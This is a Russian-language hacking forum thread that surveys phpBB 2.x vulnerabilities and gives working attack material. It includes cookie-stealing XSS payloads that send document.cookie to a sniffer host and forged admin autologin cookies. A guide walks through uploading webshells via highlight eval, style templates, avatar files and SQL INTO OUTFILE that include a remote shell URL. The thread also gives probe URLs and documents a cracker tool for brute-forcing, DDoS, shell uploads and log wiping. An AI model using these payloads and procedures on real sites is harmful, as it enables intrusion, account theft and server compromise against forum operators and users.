Просмотр полной версии : [Обзор уязвимостей phpBB]
Рассмотрим каждую версию форума по порядку и проанализируем. Будем рассматривать с версии 2.0.4, т.к. версии младше, обсуждать нет смысла.
phpBB <= 2.0.4
Цель: просмотр содержимого файлов на сервере
Описание: Была выпущена в 2002. Данная версия почти не присутствует в сети.
Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP.
Exploit: http://milw0rm.com/id.php?id=47
phpBB <= 2.0.5
Цель: просмотр hash'a пароля
Описание: Выпущена в 2002. Также редкая версия.
Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в при обработке $topic_id. Возможно добавить 2 запрос, тем самым захватить хэш.
Exploit: http://milw0rm.com/id.php?id=44
При запуске $remote = shift || 'localhost'; - изменяем на нужный например 255.255.255.255, $uid = shift || 2; - ID нужного нам пользователя. В форумах phpBB ID администратора по умолчанию "2". Затем пишем "perl exp.pl"
Video: -
phpBB <= 2.0.6
Цель: просмотр hash'a пароля
Описание: Выпущена в 2002. Также редкая версия.
Описание уязвимости: Возможность создания специального SQL запроса, уязвимость существует в модуле search.php.
Exploit: http://milw0rm.com/id.php?id=137
Запускаем "perl exp.pl <server> <folder> <user_id> <search_id>"
Где <server> - ip сервера (ip сервера можно узнать так Пуск->Выполнить-> набрать cmd, затем в появивешмся окне набрать "ping test.com"), <folder> - папка где находится сам форум (например если у нас http://123.123.123.123/forum/index.php, вместо <folder> пишем forum), <user_id> <search_id> - ID пользователя.
Video: http://video.antichat.net/videos/kez/phpbb_206_sql2.rar
phpBB <= 2.0.8
Цель: подмена ip
Описание: так себе
Описание уязвимости: позволяет подменить ip отправителя на произвольный
Exploit: http://securityvulns.ru/Gdocument110.html
phpBB 2.0.10
Пропустим версии с 7 по 9, т.к. в них присутствует те же уязвимости, что и в phpBB 2.0.10.
Цель: (1) Выполение произвольных команд.
Описание: Была выпущена так же в 2002. Данная версия встречается намного чаще, чем младшие. Но реже чем старшие =). Был произведён дефейс сайта phpbb.com, с помощью найденной уязвимости в этой версии.
Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php.
Exploit: http://milw0rm.com/id.php?id=647 Запускать "perl exp.pl [*URL] [DIR] [NUM] [CMD]"
Где [*URL] - урл сайта (например http://www.test.com), [DIR] - директория в которой находится форум(например /forum/ или /forum), [NUM] - номер топика (обязательно существующего), [CMD] - команда которую следует выполнить (например ls -la, справочник всех команд *nix http://forum.antichat.ru/threadnav7345-1-10.html)
video: -
Цель: (2) Попадание в админку обходя ограничения.
Описание: -
Описание уязвимости: Некорректная обработка входных параметров в Admin_Styles.PHP.
Exploit: В архиве с видео =)
Video: http://video.antichat.net/videos/wizi/vhackbbshwizi.rar
phpBB <= 2.0.11
Цель: Выполение произвольных команд
Описание: Была выпущена так же в 2002.
Описание уязвимости: Некорректная обработка входных параметров в viewtopic.php - горе-кодеры плохо запатчили предыдущую багу - фильтрация ковычки обходится как %2527
Exploit: http://www.site.ru/forum/viewtopic.php?t=2726&highlight=%2527.$poster=%60$var%60.%2527&var=id
phpBB <= 2.0.12
Цель: Вход на форум аккаунтом администратора.
Описание: -
Описание уязвимости: Для начала нам следует зарегаться на форуме. Затем, войти под своим аккаунтом и если стоит галка "Автоматический вход",то убрать её. Нам нужно отредактировать кукисы (посоветую делать это в опере Tools->Advanced->Cookies),
вместо a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7 D X - наш ID ,
а меняем на a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D 2 - как уже говорилось выше, ID админа
Exploit: "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
Video: -
phpBB <= 2.0.13
Цель: просмотр hash'a пароля, любого пользователя
Описание: -
Описание уязвимости: Уязвимость присутствует в модуле downloads.php. Есть возможность SQL инъекции
Exploit: http://milw0rm.com/id.php?id=907
Запускать "perl exp.pl <site> <dir> <id>"
Где <site> URL сайта <dir> - директория <id> - нужный нам пользователь
Video: -
phpBB <= 2.0.15
Цель: получение Имя,Логина, Пароля от БД.
Описание: -
Описание уязвимости: Уязвимость пристутствует в модуле viewtopic.php.
Exploit: http://milw0rm.com/id.php?id=1080 Запускать "perl exp.pl <server> <dir> <id> \r\n"
Где <server> - ip сервера, <dir> - директория в которой находится форум <id> номер существующего топика.
Video: -
phpBB <= 2.0.16
Цель: получение hash'a пароля пользователя
Описание: -
Описание уязвимости: В данной версии присутствует XSS (Cross Site Scripting более подробно про XSS можно почитать тут http://antichat.ru/txt/xssoverview/ или http://ha.ckers.org/xss.html), которая получить кукисы. Они высылаются на сниффер,
логи которого можно посмотреть здесь http://antichat.ru/sniff/log.php.
Exploit: [*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
Video: -
phpBB <= 2.0.16
Цель: 2.0.16 Installation Path Disclosure
Описание: -
Описание уязвимости: раскрытие данных
Exploit: http://someshit.net/showthread.php?t=71
Video: -
phpBB <= 2.0.17
Цель: выполнение произвольных команд на сервере(php-inj)
Описание: -
Описание уязвимости: В данной версии присутствует уязвимость в модуле profile.php.
Exploit: http://rst.void.ru/download/r57phpbb2017.txt Запускать "perl exp.pl <URL> <cmd>"
Где <URL> - ссылка до форума например http://site.com/phpBB/, <cmd> - нужная команда (о командах читаем тут http://forum.antichat.ru/threadnav7345-1-10.html).
Video: -
phpbb <= 2.0.18
Цель: получение сессии админа
Описание: XSS в собщении
Описание уязвимости: требует включеных BB-тэгов или HTML на форуме
Exploit: <B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)" X="<B "> H A L L O </B>
<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='fon t-size:0; X="<B ">'</B>
http://www.wj (http://wj.com/style=display:none;background:url(javascript:alert ()) )
phpBB <= 2.0.18
Цель: получение hash'a пароля пользователя
Описание: найдена WJ (White Jordan =)
Описание уязвимости: В данной версии присутствует XSS.
Exploit: [UR*L]http://www.[U*RL=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/*URL][/*URL]
Что бы воспользоваться сплойтом убираем плюсы между символами & и #(например было "&+#40" стало -"(")
Video: -
phpBB <= 2.0.18
Цель: подмена ника
Описание: найдена Dgoing
Описание уязвимости: подмена ника, обход бана
Exploit: http://forum.antichat.ru/thread19817.html
Video: -
phpbb <= 2.0.19
Цель: получение сессии админа
Описание: XSS в собщении
Описание уязвимости: требует включеных BB-тэгов или HTML на форуме
Exploit: <B C='>' onmouseover='alert(document.location="http://antichat.ru"+document.cookie)' X='<B '> antichat.ru </B>
http://www.wj (http://wj.com/style=display:none;background:url(javascript:alert ()) )
phpbb <= 2.0.19
Цель: получение пароля админа
Описание: phpBB Style Changer\Viewer MOD SQL injection Exploit
Описание уязвимости: sql-inj уязвимость в index.php?s=[SQL] позволяет выполнить произвольный запрос в бд
Exploit: http://milw0rm.com/exploits/1469
phpbb = 2.0.19
Цель: DoS форума
Описание: -
Описание уязвимости: Уязвимость позволяет забанить всех пользователей на форуме
Exploit: http://forum.comp-info.ru/showthread.php?threadid=238
phpbb <= 2.0.19
Цель: DoS форума
Описание: Neo Security Team (автор - HaCkZaTaN)
Описание уязвимости: Сплоит регистрирует неограниченное количество ников или делает через поиск запросы, которые база не может воспринять. Сплойт бессилен там, где надо вводить код (визуальное подтверждение) при регистрации
Exploit: http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt
phpbb <= 2.0.19
Цель: получение пароля админа
Описание: Уязвимость позволяет удаленному пользователю произвести брут-форс атаку.
Описание уязвимости: Уязвимость существует из-за того, что функция "gen_rand_string()" генерирует угадываемые случайные номера. Удаленный пользователь может изменить пароль к целевой учетной записи с помощью функционала восстановления пароля путем отправки большого количества запросов для подбора Validation ID (не более 1000000 запросов). Для удачной эксплуатации уязвимости злоумышленнику необходимо знать e-mail целевой учетной записи.
Exploit: http://milw0rm.com/exploits/1382
phpbb <= 2.0.20
Цель: DoS форума
Описание: банит все аккаунты
Описание уязвимости: по умолчанию в форуме включен бан аккаунта при более 5 неудачных попыток входа
Exploit: phpBB 2.0.20 Disable Admin or User Account (http://forum.antichat.ru/thread18516.html)
Video: -
phpBB <= 2.0.21
Цель: компрометация сервера
Описание: obviously you have no output, but this makes phpbb to be like a http proxy
Описание уязвимости: а в переводе - phpbb можно использовать как прокси, посылая запрос в удаленном урле аватара; также форум не проверяет контент загружаемых аватарах в EXIF тэгах, туда мона поместить PHP-код и потом какнить приинклудить. Вот.
Exploit: http://www.securityfocus.com/archive/1/433858
phpBB <= 2.0.21
Цель: получение сессии админа
Описание: XSS нападение и CSRF атака
Описание уязвимости: 1)Уязвимость существует из-за того, что приложение не проверяет валидность HTTP запроса при отправке сообщений. 2) Уязвимость существует из-за недостаточной обработки входных данных в поле "Message body" в сценарии privmsg.php.
Exploit: http://www.securitylab.ru/vulnerability/281494.php
[Shell, Version, Full Path]
Рассмотренно подробно ниже.
[Авторы, соавторы]
NaX[no]rt, qBiN, модераторы раздела "Форумы"
************************
Уважаемые форумчане! Просим в этой теме писать по существу!
************************
syntacsis
10.05.2006, 23:03
Об этом постоянно спрашивают, создают ненужные новые темы, пользуются неправильными методами вроде CHANGELOG.html. Непонятно, откуда такой интерес к определениям версии и что знание версии даёт, но от нечего делать создал эту темку. Сюда можно будет посылать тех, кто опять надумает это спросить. :)
Способов вообще несколько для каждой версии. Но тут хватит написать и по одному. (Кстати можно забабахать целый научный труд по определению версий и слабостей phpbb только через просмотр html некоторых страниц форума. :)))
========================================
1)CHANGELOG.html
Во-первых часто советуют узнать версию так: http://сайт.com/форум/docs/CHANGELOG.html
Но так никакой версии не узнать. Этот документ (если он есть) показывает только какая версия была, когда форум устанавливали. При обновлениях версии этот CHANGELOG остаётся старым.
2) phpBB <= 2.0.10
http://site.ru/forum/index.php?category_rows=aaaa
http://site.ru/forum/faq.php?faq=aaaa
http://site.ru/forum/profile.php?mode=viewprofile&u=2&ranksrow=aaaa
3) Search - phpbb=2.0.20
А версии можно определить например так:
2.0.20 Заходим в поиск, вводим любой запрос, жмём подряд несколько раз "поиск. Если поиск заблокировался на несколько секунд (по умолчанию на 15) и сказал вам об этом, то это она и есть. Иначе версия ниже.
4) phpBB <= 2.0.18
Если после проверки на 2.0.20 поиск продолжает работать, обращаемся по адресу : http://сайт.com/форум/admin/admin_disallow.php?setmodules=00
и смотрим результат.
Форум написал: Fatal error: Call to undefined function…, значит это версия НИЖЕ 2.0.19 В остальных случаях именно она и есть.
5) XSS-test
phpBB <= 2.0.18
<B C=">" onmouseover="alert('XSS<= 2.0.18')" X="<B "> H E L O </B>
phpBB <= 2.0.19
<B C='>' onmouseover='alert("XSS<= 2.0.19")' X='<B '> H E L O </B>
Конечно, можно и попроще определить версию. Но для новичков этот путь самое то :)))
ps
Тут были ещё темы по sql-инъекциям, но тут надо знать префикс, а не версию. Если админ не лох, префиксы наверняка сменены. Самые частые префиксы (если админ лох) phpbb_ и phpbb2_
========================================
pps
По быстрому определяем, подумал ли админ о защите (версия не важно). Идём: http://сайт.com/форум/admin/admin (второй /admin необязательно). Если в результате форумная страница или ошибка с переадресацией на хостинг, то он ничего особенного на этот счёт не подумал. Если страница со всякими красными предупреждениями, скорее всего стоит мод CTracker или подобные модификации, которые докладывают об атаках (как они их видят) со всеми подробностями. Если открылось новое окно для авторизации - стоит защита админки через .htaccess
Кстати! Всё что тут написано может изменяться в зависимости от версии и модификаций и отдельных заплаток. Приведены только наиболее вероятные варианты.
А ещё вот НОВОСТЬ (если интересно)
Разработчики phpBB обещают 15 мая этого (2006) года выпустить beta-версию форума нового поколения - phpBB 3.0.х (Olympus). Этот форум в действии можно заценить здесь (http://area51.phpbb.com/phpBB)
А скачать промежуточную версию (2.1.x) можно тут (http://area51.phpbb.com/cvs/)
Cкрипт распознавания форума by genom (http://forum.antichat.ru/thread33593.html)
Всем привет, это снова k1b0rg и он вам расскажет, как же заливать шеллы в "популярном" форуме phpbb.
*****На заметку:
Обычно папка cache доступна для записи - в неё удобно грузить шелл.
Пример: http://www.site.com/phpBB/cache/shell.php
Всего существует 7 публичных способов залития шелла. Разберем каждый из них по порядку.
1) через уязвимость highlight. Бага очень старая, но все же встречаеться в инете.
Суть баги читайте в инете, было выложено.
Как юзать:
http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=phpinfo();&highlight='.eval($_GET[cmd]).'
смотрим чо получилось, если них.., то значит бага пропатчена, если показался phpinfo, дергаем из него, ось сервака и сейф мод, и в зависимости от них, ковыряемся на серваке.
Вообще мало-мальски шарящие перчики любят инклудить полноценный веб шелл, например
2.0.10: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%27.include($_GET[cmd]).%27
или так
2.0.11: http://loleg.ru/phpbb_forum/viewtopic.php?t=5&cmd=http://kiborg.h10.ru/shell/sim.txt?&highlight=%2527.include($_GET[cmd]).%2527
заливаем шелл, трахаем админа...
Exploit:
http://milw0rm.com/exploits/1076
http://milw0rm.com/exploits/1113
Кароче сами разберетесь..не мне вас учить....едем дальше.
2) Через стили. (Нужны админские права).
Суть баги читайте в инете, было выложено.
как юзать:
Идем в админскую панель, жмакаем ссылку в Стилях "Создать". Правим правый фрейм.(Я предпочитаю править прям в опере, жмем исходный код, правим страницу, и жмем обновить из кеша.) style_name делаем произвольным. А template_name удаляем дефолтный(subSilver) и вставляем свой
a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/
Мы создали стиль, теперь надо его экспортировать в форум. Жмем ссылку "Экспорт", там будет тока текущий стиль, правим сурс, меняем его на
a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/
В папке /tmp/ появиться файл theme_info.cfg.
Заходя по ссылке
http://localhost/phpbb13/admin/admin_styles.php?mode=addnew&sid=(тут_ваша_сессия)&&install_to=../../../../../../../tmp/&kiborg=phpinfo();
нам покажеться phpinfo();
Exploit: http://milw0rm.com/exploits/1247
3) Бага в профайле signature_bbcode_uid (Нужен юзер, с любыми правами).
Как юзать: Значит регаемся на форуме, заходим в профайл. Правим страницу..
<form action="profile.php" enctype="multipart/form-data" method="post">
меняем на
<form action="profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00" enctype="multipart/form-data" method="post">
В подпись(Signature) суем такую бяку
kibi:`ls`
Вообщем, сначала любое слово, потом двоеточие ,а после него php код. Вставляем, сохраняем, ползем обратно в профайл, и нежно издыхаем, от результатов.
Бага настока редкая, что просто охренеть.
Для нее условия
# 1. PHP 5 < 5.0.5
# 2. register_globals=On
# 3. magic_quotes off
ЭТО ОЧЕНЬ РЕДКОЕ сочетание, поэтому не удивляйтесь, если пахать не будет.
Exploit: http://milw0rm.com/exploits/1388
4) После того как "залатали" багу (3), обнаружилось, что залатали, вывод в профайл, а сама бага живая. (Нужны админские права).
Video: http://video.antichat.ru/file178.html
Эта бага присутсвует, почти на всех форумах, ее редко где залатали.
Как юзать:
Создаем текстовый файл 1.sql суем в него код
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;
ну вместо 2 ставим свой id
Заходим в админку, жмем востановление базы данных, выбираем файл 1.sql, и со звуком хлопец-хлопца-хоп-ца-ца
заходим в профайл а наблюдаем phpinfo()
Напоминаю, после ":" идет любой php код.
Exploit: http://milw0rm.com/exploits/1661
5) Загрузка через sql. (Нужны админские права + mysql должна иметь права file_priv='Y'(тоесть фактически root) для OUTFILE)
Редкий случай, но встречаеться чаще баги (3).
как юзать:
Создаем файл 1.sql суем в него код
SELECT '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/shell.php';
В админке востанавливаем через бд этот файл.
Тут нужно знать полный путь. Как его узнавать, ищите в инете.
Exploit: руками потыкаете
6) Загрузка аваторы с php кодом, а затем инклюд.(Нужны права админа)
Бага тоже очень распространненая, тока почему то ее, мало юзают.
Создаем файл kiborg.txt, пишем в него
<?
$file= fopen('shell.php', 'w');
fwrite($file, '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>');
fclose($file);
?>
Меняем имя файла на kiborg.gif и загружаем его на форум.
Заходим в профайл убеждаемся что аватора загрузилась и смотрим ее имя с путем, будет примерно следующее
/images/avatars/49624519384cd7deb.gif
Создаем файл 1.sql с содержимым
UPDATE phpbb_config SET config_value=CONCAT('english/../../images/avatars/49624519384cd7deb.gif',CHAR(0)) where config_name='default_lang';
Ну если с мозгами все в порядке, то поймете что здесь накалякано. Востанавливаем через бд.
Ползем по ссылке
http://localhost/phpbb13/faq.php
И если вы все сделали правильно, то по адрессу http://localhost/phpbb13/shell.php должен быть ваш шелл.
Exploit: http://milw0rm.com/exploits/1780
7) Подмена аваторного пути. Багу нашол ShanKaR. (Нужны права админа)
Шанкар выпустил свой сплойт, и описал багу. Судя по месагам в инете, народ так не допер, что за бага и как ее едят. Объясняю...
Как идет загрузка аваторы:
@copy($tmp_filename, './' . $board_config['avatar_path'] . "/$new_filename");
@unlink($tmp_filename);
Он грузит из $tmp_filename $board_config['avatar_path']."/$new_filename"
$tmp_filename это типо временное название аваторы, пока ее грузили на сервак.
$board_config['avatar_path'] - это аваторный путь, по дефолту images/avatars храниться в базе
$new_filename - сгенерированное новое имя аваторы что-то типо 49624519384cd7deb.gif.
Суть баги найденной Шанкаром, в том, что мы аватору грузим не в файл который сгенерирует на сам форум, а в произвольный файл. Его мы задаем в $board_config['avatar_path'] (например images/avatars/shell.php). А затем нам, надо отрезать $new_filename, это можно сделать как предложил автор баги, добавив %00, но так будет не всегда работать. Я предлагаю, сделать через БД, CHAR(0). Вы скажете, слышь аффтар, не гитарь, нах нам, даже в php файле, сурс картинки. А дело в том, что в phpbb можно загружать аватору с php кодом. смотри багу (6).
Как юзать багу:
Заходим в профайл. Смотрим, чтобы аватору можно было выбрать с компа. Пока оставляем это окно, открываем новое. Заходим в админку. Создаем файл 1.sql с содержимым UPDATE phpbb_config SET config_value=CONCAT('images/avatars/shell.php',CHAR(0)) where config_name='avatar_path'; Востанавливаем через бд.
Возвращаемся к окну с профайлом, выбираем аватору с php кодом, и загружаем. Если все сделали правильно то по адрессу
http://localhost/phpbb3/images/avatars/shell.php будет ваш шелл. БАГА НИГДЕ НЕ ЗАЛАТАНА. Заплаток нету.
Exploit: http://milw0rm.com/exploits/2348
или
Вот мой сплойт, ему нужно три параметра
perl sploit.pl http://localhost/phpbb/ 37d2ed379a27ec6ede5978523b792a39 images/avatars/shell.php
========================================
Статья принадлежит мне, т.е. k1b0rg (icq: 768620) любое копирование без моего согласия, чревато для вашего чрева.
phpBB 3
Цель: получение Cookies пользователя при помощи XSS
Описание уязвимости: http://forum.antichat.ru/thread25041.html
1) Хочу понять, как же взламываются форумы phpbb.
Их можно взломать 5 способами:
1) Через уязвимость highlight. Дает исполнение команд на сервере. Подробно о баге можно почитать в разделе "Заливка шелла в phpbb"
2) Получить доступ к аккаунту администратора.
3) Через уязвимость в профайле signature_bbcode_uid Подробно о баге можно почитать в разделе "Заливка шелла в phpbb"
4) Взлом через моды.
5) Взлом через sql инъекцию.
2) Как получить аккаунт администратора на форуме?
1) Угадать, украсть, спросить.
2) XSS - позволяет украсть куки администратора и под ним зайти на форум. В версиях >2.0.19 нельзя войти в админку незная пароля.
xss для форума phpbb. Почти все найдены White Jordan.
[c*olor*=#EFE*FEF]w*ww.ut[/u*rl][/u*rl]'[/color]
*
[U*RL]http*://www.[URL=http://wj.com/style=display:none;background:url(javasc*ript:docu ment.images[1].src="http://antichat.ru/c*gi-bin/s.jpg*?"docume*nt.co*okie;) ]wj (w**ww.s=''style='font-size:0;color:#EFEFEF'*='top:expression(eval(th is.sss));'sss=`i=new//Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'docu*ment.cookie;this.sss=null`style='font-size:0;)[/UR*L]
phpbb 2.0.17 Рушиться структура, код надо доработать
[im*g]http://ww*w.phpbb.com/xx[em*ail]xx@*xx.com[/ema*il]images/p*hplogo.gif[/i*mg]
[*url]ww*w.uts*assa (*www.s/style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://a*ntichat.ru/cgi-bin/s.jpg?'+documen*t.c*ookie;this.sss=null`sa=')[/u*rl]'
[*url=http://www.%*5burl=http://xx.com/style=display:no*ne;backgrou*nd#58;url(javascript: alert()&+#41; %5*dxx*]http://www.<a href="http://xx.com/style=displa...) " target="_*blank*">xx
пихаем все эти коды в сообщение, на сниффере ловим куки, подставляем их, и мы админы.
3) Получение админского аккаунта через багу в куках.
phpbbmysql_data:a%3A2%3A%7Bs%3A11%3A%22autologinid %22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222% 22%3B%7D
И мы становимся админом (если форум не пропатчен).
3) Как происходит взлом?
1) Просмотр версии форума. Она определяется заходом по ссылке http://site.ru/forum/docs/CHANGELOG.html
Смотрим какая там последняя версия и прибавляем единицу.
2) Проверку на уязвимость форума к багам highlight, админским кукам, signature_bbcode_uid.
Если сработало, иди в раздел "Заливка шелла в phpbb". Если не сработало.
3) Проверяем форум на sql уязвимости.
Делаем запросы:
http://site.ru/forum/viewtopic.php?sid=1&topic_id=-1'
http://site.ru/forum/search.php?search_id=-1'
http://site.ru/forum/search.php?search_results=-1'
Если сработало, то добываем хеш админа, расшифровываем.
4) Если ничего не помогло, теперь надо проверить форум на дырки в модах.
запросы:
http://site.ru/forum/language/lang_english/lang_activity.php include
http://site.ru/forum/admin/addentry.php include
http://site.ru/forum/m2f/m2f_phpbb204.php include
http://site.ru/forum/admin/admin_topic_action_logging.php include
http://site.ru/forum/cal_view_month.php sql
http://site.ru/forum/auction_offer_view.php sql
http://site.ru/forum/downloads.php sql
http://site.ru/forum/alltopics.php sql
http://site.ru/forum/admin/admin_cash.php include
http://site.ru/forum/toplist.php sql
http://site.ru/forum/index.php?s=-1' sql
http://site.ru/forum/index.php?style=-1' sql
Запросы для получение привилегий найдете на секьюрити порталах.
5) Взлом через xss.
4) Как узнать серверный путь форума?
http://site.ru/forum/admin/admin_disallow.php?setmodules=00 до 2.0.19
http://site.ru/forum/profile.php?mode[]=
http://site.ru/forum/posting.php?mode[]=
http://site.ru/forum/groupcp.php?mode[]=
http://site.ru/forum/modcp.php?mode[]=
http://site.ru/forum/privmsg.php?folder[]=
http://site.ru/forum/db/oracle.php
http://site.ru/forum/memberlist.php?mode[]=cx + дает возможно узнать префикс таблиц базы данных
Пути для форумов <2.0.10
http://site.ru/forum/index.php?category_rows=aaaa
http://site.ru/forum/faq.php?faq=aaaa
http://site.ru/forum/profile.php?mode=viewprofile&u=2&ranksrow=aaaa
5) Как узнать префикс таблиц базы данных?
http://site.ru/forum/memberlist.php?mode[]=cx
http://site.ru/forum/modcp.php?t=-456
подробно о каждой баге можете почитать здесь
http://forum.antichat.ru/thread24488.html
Про залитие шелла в phpbb можете почитать здесь http://forum.antichat.ru/thread32782.html
Различные статьи, имеющие отношение к phpbb:
Авторизация с cookies - взлом и защита. (by PoizOn) (http://www.google.com/search?q=Mazafaka.Ru_e-zine_spring2005%28002%29.zip)
XSS, SQL-inj, PHP-inj и др. на примере phpBB (http://forum.antichat.ru/threadnav20191-1-10.html)
Поиск PHP уязвимостей на примере phpBB (http://forum.antichat.ru/thread26130-phpbb+2.0.21.html)
Проверь свой phpbb форум на безопасность 2 - скрипт (http://forum.antichat.ru/thread33732.html)
----------------------------------------------------------
Все сообщения не содержащие информационной ценности или не имеющие прямого отношения к теме удалены.
----------------------------------------------------------
Ещё раз напомню, что в этой теме обзор уязвимостей форума, сообщения не имеющие информационной ценности ("Немогли бы взглянуть на этот форум", "Подскажите версию" и т.д.) будут удаляться.
Программа: phpBB modified v1.8 by Przemo, возможно более ранние версии.
Описание:
Рекомендуется к прочтению статья Elekt http://forum.antichat.ru/thread35207.html
Уязвимость позволяет удаленному пользователю выполнять произвольные SQL команды на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "user_agent"
(при определенных условиях, приведенных в примерах) в сценарии /includes/functions_post.php.
Удаленный пользователь может с помощью специально сформированного запроса выполнять произвольные
SQL команды на целевой системе жертвы в контексте безопасности уязвимого сайта.
Для успешной эксплуатации уязвимости целевой пользователь должен быть залогинен.
Examples:
User-Agent: ', 0, BENCHMARK(100000000,ENCODE('preved','xek')))/*
POST http://victim.xxx/posting.php HTTP/1.0
Accept: */*
Referer: http://victim.xxx/viewtopic.php?p=26&sid=[SESSION]
Accept-Language: ru-ru
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: ', 0, BENCHMARK(100000000,ENCODE('preved','xek')))/*
Host: www.victim.xxx
Content-Length: 78
Pragma: no-cache
Cookie: phpbb2mysql_visit_counter=1; __utma=269622960.574327027.1172145562.1172145562.1 172145562.1;
__utmz=269622960.1172145562.1.1.utmccn=(direct)|ut mcsr=(direct)|utmcmd=(none); phpbb2mysql_data=
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A% 22d8578edf8458ce06fbc5bb76a58c5ca4%22%3Bs%3A6%3A%2 2userid
%22%3Bi%3A7%3B%7D; phpbb2mysql_sid=[SESSION]
message=test&msg_expire=0&attach_sig=on&mode=reply&t=20&last_msg=&post=Submit
URL производителя: http://www.przemo.org/phpBB2/
превед: ice1k .)
(c) p-range :: AltST
Описание скрипта k1b0rg phpbb cracker v0.5 akka (KaPeC)
Данный скрипт имеет 3 режима работы, переключаемые опцией (-v)
1 Скрипт для работы с непосредственно с самим форумом(сканер ошибок, админка и т.д.). Включен по дефолту.
2 Грабер данные из профайла людей(ник, email). Кол-во задается параметром (-e) или определяется общим числом юзеров на форуме.
3 Брутер форума. Умеет брутить по известному нику или паролю, а также может проверять на валидность аккаунты из файла.
4 Легкий ddos.
5 Автозабаниватель
Скрипт для работы с форумом (-v1), имеет 4 режима, переключаемые опцией (-g):
1 - Дефолтный, показывает все пароли юзеров на всех багах.
2 - Покаывает все хеши юзеров только на одной баге, другие баги показывают, но пароли не вытаскивает.
3 - В админке заливает шеллы всеми способами.
4 - В админке заливает шеллы тока одним способом(при залитии одного, останавливается).
Рассмотрим подробней работу режима (-v1).
Скрипт имеет встроенный легкий брутер(-b1) на 23 распространнех пароля, вдобавок к этому он еще вытягивает ники заданных юзеров и брутит ими.
Заложено 6 форумных эксплуатационных уязвимостей и 4 не эксплуатационных узявимости.
Имеется поддержка проверки на баги, модов форума (-m1). Всего заложено 45 уязвимостей.
Теперь пройдется по опциям данного скрипта.
-v - выбор режима всего скрипта (сканер, грабер, брутер, ддосер,автозабаниватель). По умолчанию включен сканер (-v1).
-u - Url заданного сайта. (только ввиде http://site.ru/forum/). Слеш обязательно должен быть в конце.
-l - логин юзера.
-p - пароль юзера.
-d - При доступе к админке, делает дамп базы данных. По умолчанию выключена (-d0).
-f - Файл для работы скрипта. В зависимости от режимах работы, скрипт будет вытаскивать из этого файла, необходимые данные.
-s - название LOG файла, куда будут идти записи. По умолчанию 'log.txt'. Требует включения опции (-L1)
-L - Перенаправить весь вывод в log файл(-s). По умолчанию выключен.
-r - Remote shell. По умолчанию здесь находится адресс шелла.
-R - Remote eval. По умолчанию здесь находится адресс скрипта, выполняющего php код.
$content - Задается в теле скрипта. Содержимое этой переменной будет залито на аттакуемый сайт. По умолчанию загружается инклуд remote shell.
my $content='<? @include("'.$remote_site.'"); ?>';
-b1 - брутер форума.
-m1 - Проверка на баги модов форума.
-С - проверка форума на валидность. По умолчанию включена(-С1).
-S - залитие шелла. По умолчанию включена (-S1).
-c - очистка сессии. Скрипт зачищает все следы пребывания на этом форуме включая зачистку базы данных по последниим действиям.
Удаляются сессии и промежуточные выполнения php кода.
-a - При доступе к админке создает нового админа. Ник генерирует сам, пароль находится в опции (-N). Пока не работает
-N - Новый пароль. Ставится при создании нового админа(-a1). Пока не работает
-t - Debug скрипта. Подробно выводятся все действия выполняемые скриптом. Нужен для отладки. По умолчанию включено (-t1).
-W - Включение показа всех серверных путей форума. По умолчанию выключено (-W0) и скрипт показывает тока один путь.
-V - Задание версии скрипта. Если параметр опущен, то скрипт сам определяет версию форума. # Недоделано, привязка к версиям.
-g - Режим работы скрипта (-v0).
1 - Дефолтный, показывает все пароли юзеров на всех багах.
2 - Покаывает все хеши юзеров только на одной баге, другие баги показывают, но пароли не вытаскивает.
3 - В админке заливает шеллы всеми способами.
